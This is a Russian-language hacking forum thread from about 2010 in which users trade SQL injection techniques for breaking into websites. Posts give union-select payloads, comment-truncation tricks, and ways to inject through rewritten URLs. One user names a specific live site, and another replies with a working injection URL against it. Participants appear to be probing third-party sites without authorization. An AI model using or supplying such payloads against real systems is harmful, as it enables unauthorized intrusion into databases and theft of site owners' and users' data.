Ваши вопросы по уязвимостям.

Discussion in 'Уязвимости' started by darky, 4 Aug 2007.

Thread Status:
Not open for further replies.
  1. YuNi|[c

    YuNi|[c Elder - Старейшина

    Joined:
    17 Sep 2006
    Messages:
    293
    Likes Received:
    33
    Reputations:
    18
    ну например если делать запрос /search.cgi?q='+order+by+100-- просто без ошибок открывается обшая категория и на order+by+1 тоже такое. Думал редир но не похожа на того.
    карочи на ' ругается и показывает ')
     
  2. YuNi|[c

    YuNi|[c Elder - Старейшина

    Joined:
    17 Sep 2006
    Messages:
    293
    Likes Received:
    33
    Reputations:
    18
    Oo никто тебя телепатом не назвал ))
    Я прекрасно знаю где редирект где нет. Если нету дельных советов не путай. Просто вопрос было в том как обойти если ругается на одинарную кавычку добавив )
     
  3. [NiGHT]DarkAngel

    [NiGHT]DarkAngel Elder - Старейшина

    Joined:
    29 Mar 2005
    Messages:
    131
    Likes Received:
    40
    Reputations:
    16
    to YuNi|[c
    Основываясь на ошибке, можно предположить, что параметр 'q' не обрамлен в одинарные кавычки в запросе ... следовательно запрос к базе можно составить и без ее использования
    Например: ?q=1) union select 1,2,3,4,5/*

    Так пройдет только без LIKE условия, если запрос будет примерно таким

    Code:
    mysql_query("SELECT title FROM content WHERE (LIKE %$q%)")
    То /* не обрежет %) ... запрос выполнится и не вернется никакого результата... что бы обрезать %) в LIKE запросе за место /* используй #

    Только тут походу блинд,так что можешь начинать подбирать:)
     
    #11063 [NiGHT]DarkAngel, 15 Jan 2010
    Last edited: 15 Jan 2010
  4. YuNi|[c

    YuNi|[c Elder - Старейшина

    Joined:
    17 Sep 2006
    Messages:
    293
    Likes Received:
    33
    Reputations:
    18
    о спс за подробные обьяснения, буду пробовать
     
  5. YuNi|[c

    YuNi|[c Elder - Старейшина

    Joined:
    17 Sep 2006
    Messages:
    293
    Likes Received:
    33
    Reputations:
    18
    Еще вопрос если ссылка будет вида
    то как правильно сделать запрос, так как уже почти все сайты так настравиваются.
     
    #11065 YuNi|[c, 16 Jan 2010
    Last edited: 16 Jan 2010
  6. Ayowa

    Ayowa Member

    Joined:
    25 Dec 2009
    Messages:
    10
    Likes Received:
    9
    Reputations:
    2
    asd/5/12/8'+order+by+10+--+

    Iceangel_: данный плюс говорит о незнании синтаксиса комментариев mysql...

    Ayowa
    данный плюс говорит о том, что я люблю симметрию, мало того, подобный стиль встречается не только у меня. Мне прекрасно известно о том, что в документации говорится только про последний символ после однострочного комментария.
    http://phpclub.ru/mysql/doc/comments.html
    А вот еще слова чувака I-I()/Ib:
    Источник: https://forum.antichat.ru/thread43966.html
    Выходит, он тоже не знает синтаксис комментариев mysql.
    Безусловно, это является моей критической ошибкой, epic fail я бы сказал.

     
    #11066 Ayowa, 16 Jan 2010
    Last edited by a moderator: 16 Jan 2010
    1 person likes this.
  7. Train

    Train Member

    Joined:
    9 Jan 2009
    Messages:
    21
    Likes Received:
    10
    Reputations:
    4
    Не раз встречал что в инъекциях в ЧПУ знак плюса + переваривается как-то не так а если использовать пробел то все работает как надо.
    Раз уж заговорили о ЧПУ у мя тоже есть вопрос: точно есть иньекция в /id-28.html, например /id-28-1.html показывает /id-27.html и даже есть вывод ошибок.

    Code:
    http://www.alyans-pr.ru/news/id-28.html
    Но вот добиться чего-либо толкового, хотя бы and 1=1 не удалось. Буду рад услышать ваши предложения.
     
  8. l1ght

    l1ght Elder - Старейшина

    Joined:
    5 Dec 2006
    Messages:
    191
    Likes Received:
    678
    Reputations:
    333
    как то так
    alyans-pr.ru/news/id-(-28)union(select(1),2,version(),4,5,6,7).html
     
    1 person likes this.
  9. Train

    Train Member

    Joined:
    9 Jan 2009
    Messages:
    21
    Likes Received:
    10
    Reputations:
    4
    Спасибо, блин что-то я туплю, не выспался видать, про скобочки совсем забыл. Все равно, ветка четвертая, лениво ковырять, пойду искать что-нить поприличнее.
     
  10. Kakoytoxaker

    Kakoytoxaker Elder - Старейшина

    Joined:
    18 Feb 2008
    Messages:
    1,038
    Likes Received:
    1,139
    Reputations:
    350
    Эмм с чего это можно так предположить?
    Просто он не закомментировал запрос и у него получается примерно вот такая фигня:

    примерный запрос:
    после ')
    Вот и ошибка near ')'

    Если запрос будет таким, он не сработает, like %$q% совсем без кавычек заюзать не получится, ну и комментарий "/*" запросто срежет %) если составить нормальный запрос:

    q=1')+union+select+1/*
     
  11. [NiGHT]DarkAngel

    [NiGHT]DarkAngel Elder - Старейшина

    Joined:
    29 Mar 2005
    Messages:
    131
    Likes Received:
    40
    Reputations:
    16
    to jokester

    Прошу прошения,действительно пропустил в SQL запросе '' при использование LIKE.

    А теперь непосредственно по теме.

    Вот ошибка из самого первого поста
    Если взять такой запрос:
    и передать параметр q=' , то вылетит другая ошибка:
    Что показывает не соответствие ошибок с постом пользователя YuNi|[c. Для получения такой же ошибки, как в посте пользователя должен иметь место фактор,когда переменная не обрамлена в одинарные кавычки ... исходя из этого вряд ли в том запросе присутствует LIKE оператор или присутствует, но уже после уязвимой переменной ...
     
  12. Серёжа393

    Joined:
    28 Dec 2009
    Messages:
    22
    Likes Received:
    0
    Reputations:
    0
    Подскадите пожалуйста. Ума не приложу
    Вот код:

    PHP:
    include("config.php");
    $response=mysql_query("SELECT * FROM articles WHERE id='".$_GET['id']."'");
    $result=mysql_fetch_array($response);

      ...

    echo 
    "
    <table width=\"100%\">
    <tr><th>"
    .$result['title']."</th></tr>
    <tr><td><img src="
    .$result['image']." width=200><br>".$result['text']."</td></tr>
    </table><br>
    "
    ;
    Почему не проходит инъекция? когда подставишь ковычку - ошибку есть mysql_fetch_array().
    А странно то, что если убрать рядом id ковычки одинарные, т.е. запрос станент таким

    PHP:
    mysql_query("SELECT * FROM articles WHERE id=".$_GET['id']."");
    то обычная инъекция проходит! В чём такая странность из-за ковычек. подскажите плиз
     
  13. YuNi|[c

    YuNi|[c Elder - Старейшина

    Joined:
    17 Sep 2006
    Messages:
    293
    Likes Received:
    33
    Reputations:
    18
    ребят понял уже оказывается там нету скуля а просто ошибка. Так как насчет этого вопроса. Прочел много статей но про скули таких видов не видал

     
  14. [NiGHT]DarkAngel

    [NiGHT]DarkAngel Elder - Старейшина

    Joined:
    29 Mar 2005
    Messages:
    131
    Likes Received:
    40
    Reputations:
    16
    Запрос то ты какой передаешь страннице?Напиши его пожалуйста, т.к без него тебе вряд ли помогут разобраться с ошибкой, а могут написать готовое решение ... получив его, знаний полученных в итоге будет 0. А ошибку тебе разберут,объяснят и подскажут почему было не правильно ... я думаю с этого будет больший толк.
     
  15. [NiGHT]DarkAngel

    [NiGHT]DarkAngel Elder - Старейшина

    Joined:
    29 Mar 2005
    Messages:
    131
    Likes Received:
    40
    Reputations:
    16
    Пройдет и очень просто ... при
    PHP:
    mysql_query("SELECT * FROM articles WHERE id=".$_GET['id']."");
    id = 3 union select 1,2,3,4,5/* вот и весь запрос ... кавычки даже не к чему.
     
  16. AFoST

    AFoST Elder - Старейшина

    Joined:
    28 May 2007
    Messages:
    588
    Likes Received:
    485
    Reputations:
    176
    первый вариант. но закрывай запрос по-другому. а то модррерайт не поймёт тебя
    http://site.com/galle/99/1/1/8'+order+by+10+--+/
     
  17. [NiGHT]DarkAngel

    [NiGHT]DarkAngel Elder - Старейшина

    Joined:
    29 Mar 2005
    Messages:
    131
    Likes Received:
    40
    Reputations:
    16
    Тут ничего особенного ))))
    Это идентично
    PHP:
    mysql_query("SELECT * FROM articles WHERE id=$_GET[id]");  
    Теперь инекция пройдет ?:)
     
    1 person likes this.
  18. AFoST

    AFoST Elder - Старейшина

    Joined:
    28 May 2007
    Messages:
    588
    Likes Received:
    485
    Reputations:
    176
    Я так и не понял вопроса =\
    в коде, который ты предоставил есть следующее:
    mysql_query() выполняет mysql запрос. в качестве входного параметра - строка.
    в твоем случае это строка "SELECT * FROM articles WHERE id=".$_GET['id'].""
    эта строка остоит из трёх частей
    - "SELECT * FROM articles WHERE id="
    - $_GET['id']
    - ""
    все эти части соединяются воедино и получается одна строка.
    первая и третья части обрамлены в двойные ковычки. вторая часть - это данные которые поступают через GET
    если $_GET['id'] будет например так: site/?id=123 то вся строка mysql запроса примет вид:
    "SELECT * FROM articles WHERE id=123"
    sql-injection:
    site/?id=123 and 1=0 union select 1,2,3
    запрос примет вид:
    "SELECT * FROM articles WHERE id=123 and 1=0 union select 1,2,3"
     
    2 people like this.
  19. m0Hze

    m0Hze Well-Known Member

    Joined:
    1 Nov 2008
    Messages:
    266
    Likes Received:
    655
    Reputations:
    208
    Наеврное просто магические кавычки включены,что мозги то трахать людям ^_^
     
  20. Ayowa

    Ayowa Member

    Joined:
    25 Dec 2009
    Messages:
    10
    Likes Received:
    9
    Reputations:
    2
    Я же тебе уже написал.
    Возьмем в качестве примера вот этот вариант:
    galle/99/1/1/8'/order/by/10/*

    Если исходить из логики построения вот такого запроса, можно сделать вывод, что в бд попадает вот такое нечто:
    select * from newz where asd='galle 99 1 1 8 order by 10 *' ...
    Естественно, мускул такого не поймет.

    Имхо, исходная строка имеет вид:
    galle.php?year=99&month=1&day=1&hernya=8
    Замечательный модуль апача, mod_rewrite, это пережевывает и выпихивает то, что мы имеем.
    Сам несколько раз сталкивался с подобными штуками, к примеру :
    asd.com/gallery/234658234+and+1=7+--+.html

    Поскольку апач модифицирует юрлку с помощью регулярных выражений, скорее всего, на обратном пути в процессе "расшифровки" в качестве разделителя он использует "/" так что возможно, в данном случае, комментарий типа "/*" не подойдёт, хотя скажу сразу, что особо сильно в работу мод_рерайт не въезжал и это рассуждение о многострочном комментарии может быть неверным.
    ЗЫ, кому интересно, доки по мод_рерайту лежат тута:
    http://httpd.apache.org/docs/1.3/mod/mod_rewrite.html

    Если я что-то неправильно сказал - поправьте.
     
    #11080 Ayowa, 16 Jan 2010
    Last edited: 16 Jan 2010
    1 person likes this.
Thread Status:
Not open for further replies.